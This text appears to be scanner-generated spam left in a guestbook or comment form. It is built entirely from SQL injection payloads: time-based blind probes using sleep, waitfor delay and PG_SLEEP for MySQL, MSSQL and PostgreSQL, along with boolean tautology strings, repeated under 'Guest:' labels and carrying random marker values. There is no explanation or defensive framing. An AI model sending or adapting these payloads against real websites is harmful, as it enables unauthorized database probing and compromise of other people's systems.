(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Guest:
-1' OR 2+450-450-1=0+0+0+1 or 'tVZkGhj8'='
-1; waitfor delay '0:0:15' --

Guest:
-1' OR 2+450-450-1=0+0+0+1 or 'tVZkGhj8'='
-1); waitfor delay '0:0:15' --

Guest:
-1' OR 2+450-450-1=0+0+0+1 or 'tVZkGhj8'='
-1 waitfor delay '0:0:15' --

Guest:
-1' OR 2+450-450-1=0+0+0+1 or 'tVZkGhj8'='
GgsCud2b'; waitfor delay '0:0:15' --

Guest:
-1' OR 2+450-450-1=0+0+0+1 or 'tVZkGhj8'='
yvhX1GtU'); waitfor delay '0:0:15' --

Guest:
-1' OR 2+450-450-1=0+0+0+1 or 'tVZkGhj8'='
1PpawoJq')); waitfor delay '0:0:15' --

Guest:
-1' OR 2+450-450-1=0+0+0+1 or 'tVZkGhj8'='
VenPSlyT' OR 452=(SELECT 452 FROM PG_SLEEP(15))--

Guest:
-1' OR 2+450-450-1=0+0+0+1 or 'tVZkGhj8'='
RcFbyyZp') OR 596=(SELECT 596 FROM PG_SLEEP(15))--

Guest:
-1' OR 2+450-450-1=0+0+0+1 or 'tVZkGhj8'='
7EJfjgce')) OR 593=(SELECT 593 FROM PG_SLEEP(15))--